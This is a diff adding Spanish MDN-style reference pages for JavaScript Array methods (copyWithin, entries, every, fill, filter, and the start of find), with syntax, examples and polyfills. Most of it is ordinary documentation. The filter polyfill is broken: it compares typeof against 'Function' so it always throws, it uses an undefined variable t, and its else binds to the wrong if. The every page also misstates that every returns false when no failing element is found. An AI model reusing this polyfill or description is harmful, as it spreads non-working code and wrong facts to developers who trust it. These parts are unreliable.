+ <li>observa que <strong>no</strong> se modifica la propiedad length, a pesar de que se ha introducido una nueva propiedad con clave 0. A esto ser refiere cuando se dice que <code>copyWithin</code> es un método <strong>mutador</strong>.  ¿Por qué se creó esta nueva propiedad?  porque mediante el argumento target se especificó que  la copia debía comenzar a partir de un índice que ¡¡no existía!!</li>
+</ul>
+
+<pre class="brush: js">[].copyWithin.call({length: 5, 3: 1}, 0, 3);
+// {0: 1, 3: 1, length: 5}
+
+</pre>
+
+<p>Lo que sigue ahora son las subclases tipadas de Array en ES6:</p>
+
+<pre class="brush: js">// Arrays tipados en ES6. Son subclases de Array
+var i32a = new Int32Array([1, 2, 3, 4, 5]);
+
+i32a.copyWithin(0, 2);
+// Int32Array [3, 4, 5, 4, 5]
+
+// En plataformas que todavía no siguen la norma ES6:
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.copyWithin) {
+  Array.prototype.copyWithin =
+  // Array: Number[, Number[, Number]]
+  function copyWithin(target, start, stop) {
+    var positiveT = target &gt;= 0,
+        positiveS = (start = start | 0) &gt;= 0,
+        length    = this.length,
+        zero      = 0,
+        r         = function() {return ((+new Date) * Math.random()).toString(36)},
+        delimiter = "\b" + r() + "-" + r() + "-" + r() + "\b",
+        hold;
+
+    stop = stop || this.length;
+    hold = this.slice.apply(this,
+      positiveT?
+        [start, stop]:
+      positiveS?
+        [start, -target]:
+      [start])
+    .join(delimiter);
+
+    return this.splice.apply(this,
+      positiveT?
+        [target, stop - start, hold]:
+      positiveS?
+        [target, stop, hold]:
+      [target, start, hold]),
+            this.join(delimiter).split(delimiter).slice(zero, length);
+  }
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.copyWithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.copyWithin', 'Array.prototype.copyWithin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.copyWithin")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/entries/index.html b/files/es/web/javascript/referencia/objetos_globales/array/entries/index.html
new file mode 100644
index 0000000000..89fef6475f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/entries/index.html
@@ -0,0 +1,86 @@
+---
+title: Array.prototype.entries()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/entries
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterador
+  - Iterator
+  - JavaScript
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries
+---
+<div>{{JSRef}}</div>
+
+<div>El método <code><strong>entries()</strong></code> retorna un nuevo objeto <strong><code>Array Iterator</code></strong> que contiene los pares clave/valor para cada índice de la matriz.</div>
+
+<div> </div>
+
+<div>
+<p>{{EmbedInteractiveExample("pages/js/array-entries.html")}}</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.entries()</pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un nuevo objeto iterador {{jsxref("Array")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_un_bucle_for…of">Usando un bucle <a href="/es/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a> </h3>
+
+<pre class="brush: js">var a = ['a', 'b', 'c'];
+var iterator = a.entries();
+
+for (let e of iterator) {
+  console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.entries")}}</p>
+</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Iteration_protocols">Protocolos de iteración</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/every/index.html b/files/es/web/javascript/referencia/objetos_globales/array/every/index.html
new file mode 100644
index 0000000000..540ebbdfa9
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/every/index.html
@@ -0,0 +1,195 @@
+---
+title: Array.prototype.every()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/every
+tags:
+  - Arreglo
+  - ECMAScript 5
+  - JavaScript
+  - Prototipo
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Determina si todos los elementos en el array satisfacen una condición.</span></p>
+
+<div class="note">
+<p><strong>Precaución</strong>: ¡Llamar este método en un array vacío devuelve <code>true</code> para cualquier condición!</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-every.html")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se encuentra en GitHub. Si desea contribuir con el proyecto de ejemplos interactivos, clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíenos un<em>pull</em><em> request</em>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.every(<var>callback</var>(<var>element</var>[, <var>index</var>[, <var>array</var>]])[, <var>thisArg</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Una función para probar cada elemento; recibe tres argumentos:
+ <dl>
+  <dt><code>currentValue</code> (required)</dt>
+  <dd>El elemento actual del arreglo que está siendo procesado.</dd>
+  <dt><code>index</code> {{Optional_inline}}</dt>
+  <dd>El índice del elemento actual del arreglo que está siendo procesado.</dd>
+  <dt><code>array</code> {{Optional_inline}}</dt>
+  <dd>El arreglo sobre el cual fue llamado <code>every</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{Optional_inline}}</dt>
+ <dd>Valor por usar como <code>this</code> cuando se ejecute <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p><code>true</code> si la función de devolución de llamada devuelve un valor de {{Glossary("truthy")}} para cada elemento de matriz; de lo contrario, <code>false</code>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>every</code> ejecuta la función <code>callback</code> dada una vez por cada elemento presente en el arreglo hasta encontrar uno que haga retornar un valor falso a <code>callback</code> (un valor que resulte falso cuando se convierta a booleano).  Si no se encuentra tal elemento, el método <code>every</code> de inmediato retorna  <code>false</code>. O si  <code>callback</code> retorna verdadero para todos los elementos, <code>every</code> retornará <code>true</code>. <code>callback</code> es llamada sólo para índices del arreglo que tengan valores asignados; no se llama para índices que hayan sido eliminados o a los que no se les haya asignado un valor.</p>
+
+<p><code>callback</code> es llamada con tres argumetos: el valor del elemento, el índice del elemento y el objeto Array que está siendo recorrido.</p>
+
+<p>Si se proporciona un parámetro <code>thisArg</code> a <code>every</code>, será pasado a la función <code>callback</code> cuando sea llamada, usándolo como valor <code>this</code>. En otro caso, se pasará el valor <code>undefined</code> para que sea usado como valor <code>this</code>.  El valor <code>this</code> observable por parte de  <code>callback</code> se determina de acuerdo a <a href="/es/docs/Web/JavaScript/Reference/Operators/this">las normas usuales para determinar el <code>this</code> visto por una función</a>.</p>
+
+<p><code>every</code> no modifica el arreglo sobre el cual es llamado.</p>
+
+<p>El intervalo de elementos procesados por <code>every</code> se establece antes de la primera llamada a <code>callback</code>.  Los elementos que se agreguen al arreglo después de que la función <code>every</code> comience no serán vistos por la función <code>callback</code>.  Si se modifican elementos existentes en el arreglo, su valor cuando sea pasado a <code>callback</code> será el valor que tengan cuando sean visitados; los elementos que se eliminen no serán visitados.</p>
+
+<p><code>every</code> opera como el cuantificador "para todo" en matemáticas. En particular con el arreglo vacío retorna true. (es una <a href="http://en.wikipedia.org/wiki/Vacuous_truth#Vacuous_truths_in_mathematics">verdad vacua</a> que todos los elementos del <a href="http://en.wikipedia.org/wiki/Empty_set#Common_problems">conjunto vacío</a> satisfacen una condición dada.)</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Probando_el_tamaño_de_todos_los_elementos_de_un_arreglo">Probando el tamaño de todos los elementos de un arreglo</h3>
+
+<p>El siguiente ejemplo prueba si todos los elementos de un arreglo son mayores que 10.</p>
+
+<pre class="brush: js">function esSuficientementeGrande(elemento, indice, arrreglo) {
+  return elemento &gt;= 10;
+}
+[12, 5, 8, 130, 44].every(esSuficientementeGrande);   // false
+[12, 54, 18, 130, 44].every(esSuficientementeGrande); // true
+</pre>
+
+<h3 id="Usar_funciones_flecha">Usar funciones flecha</h3>
+
+<p>Las <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funciones flecha</a> proveen una sintaxis más corta para la misma prueba.</p>
+
+<pre class="brush: js">[12, 5, 8, 130, 44].every(elem =&gt; elem &gt;= 10); // false
+[12, 54, 18, 130, 44].every(elem =&gt; elem &gt;= 10); // true</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>every</code> fue añadida a la norma ECMA-262 en la 5ta edición; por lo que podría no estar presente en otras implementaciones de la norma.  Puede sobrellevarlo insertando el siguiente código al comienzo de su programa,  permitiendo el uso de <code>every</code>  en implementación que no lo soporten de manera nativa. Este algoritmo es exactamente el especificado en ECMA-262, 5ta edición, suponiendo que  <code>Object</code> y <code>TypeError</code> tienen sus valores originales y que  <code>callbackfn.call</code> evalua al valor original de {{jsxref("Function.prototype.call")}}</p>
+
+<pre class="brush: js">if (!Array.prototype.every) {
+  Array.prototype.every = function(callbackfn, thisArg) {
+    'use strict';
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling ToObject passing the this
+    //    value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get internal method
+    //    of O with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If IsCallable(callbackfn) is false, throw a TypeError exception.
+    if (typeof callbackfn !== 'function') {
+      throw new TypeError();
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Let k be 0.
+    k = 0;
+
+    // 7. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      var kValue;
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal
+      //    method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal method
+        //    of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Let testResult be the result of calling the Call internal method
+        //     of callbackfn with T as the this value and argument list
+        //     containing kValue, k, and O.
+        var testResult = callbackfn.call(T, kValue, k, O);
+
+        // iii. If ToBoolean(testResult) is false, return false.
+        if (!testResult) {
+          return false;
+        }
+      }
+      k++;
+    }
+    return true;
+  };
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.every")}}</p>
+</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/fill/index.html b/files/es/web/javascript/referencia/objetos_globales/array/fill/index.html
new file mode 100644
index 0000000000..7113df34bd
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/fill/index.html
@@ -0,0 +1,145 @@
+---
+title: Array.prototype.fill()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/fill
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Prototipo
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>fill()</strong></code> cambia todos los elementos en un arreglo por un valor estático, desde el índice start (por defecto 0) hasta el índice end (por defecto <code>array.length</code>). Devuelve el arreglo modificado.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-fill.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.fill(<var>value</var>[, <var>start<var> = 0[, <var>end</var> = this.length]])</var></var></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Valor con el que se va a rellenar el arreglo. (Nótese que todos los elementos en el arreglo tendrán este mismo valor).</dd>
+ <dt><code>start</code> {{optional_inline}}</dt>
+ <dd>Índice inicial, por defecto 0.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>Índice final, por defecto <code>this.length</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El arreglo modificado, rellenado con <code>valor</code>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<ul>
+ <li>Si <code>start</code> es negativo, se interpreta como <code>array.length + start</code>.</li>
+ <li>Si <code>end</code> es negativo, se interpreta como <code>array.length + end</code>.</li>
+ <li><code>fill</code> es genérico de forma intencional: no requiere que su valor <code>this</code> sea un objeto <code>Array</code>.</li>
+ <li><code>fill</code> es un método mutador: modifica el arreglo sobre el que se invoca; no devuelve una copia de éste.</li>
+ <li>Si el primer parámetro es un objeto, copia su referencia y rellena el arreglo con referencias a dicho objeto.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">[1, 2, 3].fill(4);               // [4, 4, 4]
+[1, 2, 3].fill(4, 1);            // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2);         // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1);         // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 3);         // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2);       // [4, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN);     // [1, 2, 3]
+[1, 2, 3].fill(4, 3, 5);         // [1, 2, 3]
+Array(3).fill(4);                // [4, 4, 4]
+[].fill.call({ length: 3 }, 4);  // {0: 4, 1: 4, 2: 4, length: 3}
+
+// Objects by reference.
+var arr = Array(3).fill({}) // [{}, {}, {}];
+arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.fill) {
+  Object.defineProperty(Array.prototype, 'fill', {
+    value: function(value) {
+
+      // Pasos 1-2.
+      if (this == null) {
+        throw new TypeError('esto es nulo o no definido');
+      }
+
+      var O = Object(this);
+
+      // Pasos 3-5.
+      var len = O.length &gt;&gt;&gt; 0;
+
+      // Pasos 6-7.
+      var start = arguments[1];
+      var relativeStart = start &gt;&gt; 0;
+
+      // Paso 8.
+      var k = relativeStart &lt; 0 ?
+        Math.max(len + relativeStart, 0) :
+        Math.min(relativeStart, len);
+
+      // Pasos 9-10.
+      var end = arguments[2];
+      var relativeEnd = end === undefined ?
+        len : end &gt;&gt; 0;
+
+      // Paso 11.
+      var final = relativeEnd &lt; 0 ?
+        Math.max(len + relativeEnd, 0) :
+        Math.min(relativeEnd, len);
+
+      // Paso 12.
+      while (k &lt; final) {
+        O[k] = value;
+        k++;
+      }
+
+      // Paso 13.
+      return O;
+    }
+  });
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.fill")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray.prototype.fill()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/filter/index.html b/files/es/web/javascript/referencia/objetos_globales/array/filter/index.html
new file mode 100644
index 0000000000..dae88f3ece
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/filter/index.html
@@ -0,0 +1,219 @@
+---
+title: Array.prototype.filter()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/filter
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>filter()</strong></code> crea un nuevo array con todos los elementos que cumplan la condición implementada por la función dada.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-filter.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre><var>var newArray = arr</var>.filter(<var>callback(currentValue[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función que <strong>comprueba cada elemento </strong>del array para ver si cumple la condición (también llamada predicado).  Retorna <code>true</code> si el elemento la cumple o en caso contrario retornará <code>false</code>. Acepta tres parámetros:</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>El elemento actual del array que está siendo procesado.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>El índice del elemento actual del array que está siendo procesado.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd>El array sobre el que se ha llamado <code>filter</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Opcional. Valor a utilizar como <code>this</code> cuando se ejecuta <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un nuevo array con los elementos que cumplen la condición. Si ningún elemento cumple la condición, se devolverá un array vacío.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p><code>filter()</code> llama a la función <code>callback</code>  sobre cada elemento del array, y construye un nuevo array con todos los valores para los cuales  <code>callback</code> devuelve un valor verdadero. <code>callback</code> es invocada sólo para índices del array que tengan un valor asignado. No se invoca sobre índices que hayan sido borrados o a los que no se les haya asignado algún valor. Los elementos del array que no cumplan la condición <code>callback</code>  simplemente los salta, y no son incluidos en el nuevo array.</p>
+
+<p><code>callback</code> se invoca con tres argumentos:</p>
+
+<ol>
+ <li>El valor de cada elemento</li>
+ <li>El índice del elemento</li>
+ <li>El objeto Array que se está recorriendo</li>
+</ol>
+
+<p>Si se proporciona un parámetro <code>thisArg</code> a <code>filter()</code>, este será pasado a <code>callback</code> cuando sea invocado, para usarlo como valor <code>this</code>.  De lo contrario, se pasará el valor <code>undefined</code> como valor <code>this</code>.  El valor <code>this</code> dentro del <code>callback</code> se determina conforme a las <a href="/es/docs/Web/JavaScript/Reference/Operators/this">las normas habituales para determinar el <em>this </em>visto por una función.</a></p>
+
+<p><code>filter()</code> no hace mutar el array sobre el cual es llamado.</p>
+
+<p>El rango de elementos procesados por <code>filter()</code> se establece antes de la primera invocación de  <code>callback</code>. Los elementos que se añadan al array después de que comience la llamada a <code>filter()</code> no serán visitados por <code>callback</code>. Si se modifica o elimina un elemento existente del array, cuando pase su valor a <code>callback</code> será el que tenga cuando <code>filter()</code> lo recorra; los elementos que son eliminados no son recorridos.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Filtering_out_all_small_values" name="Example:_Filtering_out_all_small_values">Filtrando todos los valores pequeños</h3>
+
+<p>El siguiente ejemplo usa <code>filter()</code> para crear un array filtrado que excluye todos los elementos con valores inferiores a 10.</p>
+
+<pre class="brush: js">function esSuficientementeGrande(elemento) {
+  return elemento &gt;= 10;
+}
+var filtrados = [12, 5, 8, 130, 44].filter(esSuficientementeGrande);
+// filtrados es [12, 130, 44]
+</pre>
+
+<h3 id="Filtrando_entradas_inválidas_desde_un_JSON">Filtrando entradas inválidas desde un JSON</h3>
+
+<p>El siguiente ejemplo emplea <code>filter()</code> para crear un json filtrado con todos lo elementos que tengan id numérico distinto de cero.</p>
+
+<pre class="brush: js">var arr = [
+  { id: 15 },
+  { id: -1 },
+  { id: 0 },
+  { id: 3 },
+  { id: 12.2 },
+  { },
+  { id: null },
+  { id: NaN },
+  { id: 'undefined' }
+];
+
+var entradasInvalidas = 0;
+// Si el elemento tiene un atributo id, y su valor correspondiente es un numero
+// Y no es el valor NaN, entonces es una entrada válida
+function filtrarPorID(obj) {
+  if ('id' in obj &amp;&amp; typeof(obj.id) === 'number' &amp;&amp; !isNaN(obj.id)) {
+    return true;
+  } else {
+    entradasInvalidas++;
+    return false;
+  }
+}
+
+var arrPorID = arr.filter(filtrarPorID);
+
+console.log('Array Filtrado\n', arrPorID);
+// [{ id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }]
+
+console.log('Número de Entradas Invalidas = ', entradasInvalidas);
+// 4</pre>
+
+<h3 id="Búsqueda_en_el_arreglo">Búsqueda en el arreglo</h3>
+
+<p>El siguiente ejemplo emplea filter() para filtrar el contendio de un arreglo en función de un criterio de búsqueda.</p>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * Filtra la matríz en función de un criterio de búsqueda (query)
+ */
+function filterItems(query) {
+  return fruits.filter(function(el) {
+      return el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1;
+  })
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']</pre>
+
+<h3 id="Implementación_en_ES2015">Implementación en ES2015</h3>
+
+<pre class="brush: js">const fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * Filtra la matríz en función de un criterio de búsqueda (query)
+ */
+const filterItems = query =&gt; {
+  return fruits.filter((el) =&gt;
+    el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1
+  );
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>filter()</code> se añadió a la norma ECMA-262 en la 5ta edición; como tal puede no estar presente en todas las implementaciones de la norma. Puedes sobrellevarlo insertando el siguiente código al comienzo de su programa, para permitir el uso de <code>filter()</code> en implementaciones de ECMA-262 que no lo soporten de forma nativa. Este algoritmo es exactamente el especificado en ECMA-262, 5ta edición, supone que  <code>fn.call</code> evalua al valor original de {{jsxref("Function.prototype.call")}}, y que {{jsxref("Array.prototype.push")}} tiene su valor original.</p>
+
+<pre class="brush: js">if (!Array.prototype.filter)
+  Array.prototype.filter = function(func, thisArg) {
+    'use strict';
+    if ( ! ((typeof func === 'Function') &amp;&amp; this) )
+        throw new TypeError();
+
+    var len = this.length &gt;&gt;&gt; 0,
+        res = new Array(len), // preallocate array
+        c = 0, i = -1;
+    if (thisArg === undefined)
+      while (++i !== len)
+        // checks to see if the key was set
+        if (i in this)
+          if (func(t[i], i, t))
+            res[c++] = t[i];
+    else
+      while (++i !== len)
+        // checks to see if the key was set
+        if (i in this)
+          if (func.call(thisArg, t[i], i, t))
+            res[c++] = t[i];
+
+    res.length = c; // shrink down array to proper size
+    return res;
+  };
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición Inicial. Implementado en JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.filter")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/find/index.html b/files/es/web/javascript/referencia/objetos_globales/array/find/index.html
new file mode 100644
index 0000000000..7de7850cca
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/find/index.html
@@ -0,0 +1,233 @@
+---
+title: Array.prototype.find()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/find
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>find()</strong></code> devuelve el <strong>valor</strong> del <strong>primer elemento</strong> del array que cumple la función de prueba proporcionada.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-find.html","shorter")}}</div>
+
+
+
+<ul>
+ <li>Si necesitas el <strong>índice</strong> del elemento encontrado en el array, utiliza {{jsxref("Array.findIndex", "findIndex()")}}.</li>
+ <li>Si necesitas encontrar el <strong>índice de un elemento</strong>, {{jsxref("Array.prototype.indexOf()")}}. (Es similar a {{jsxref("Array.findIndex", "findIndex()")}}, pero comprueba la igualdad de cada elemento con el valor en lugar de usar una función de prueba.)</li>
+ <li>Si necesitas encontrar si un valor <strong>existe</strong> en un array, utiliza {{jsxref("Array.prototype.includes()")}}.</li>
+ <li>Si necesitas encontrar si algún elemento cumple la función de prueba proporcionada, usa {{jsxref("Array.prototype.some()")}}.</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.find(<var>callback(element[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
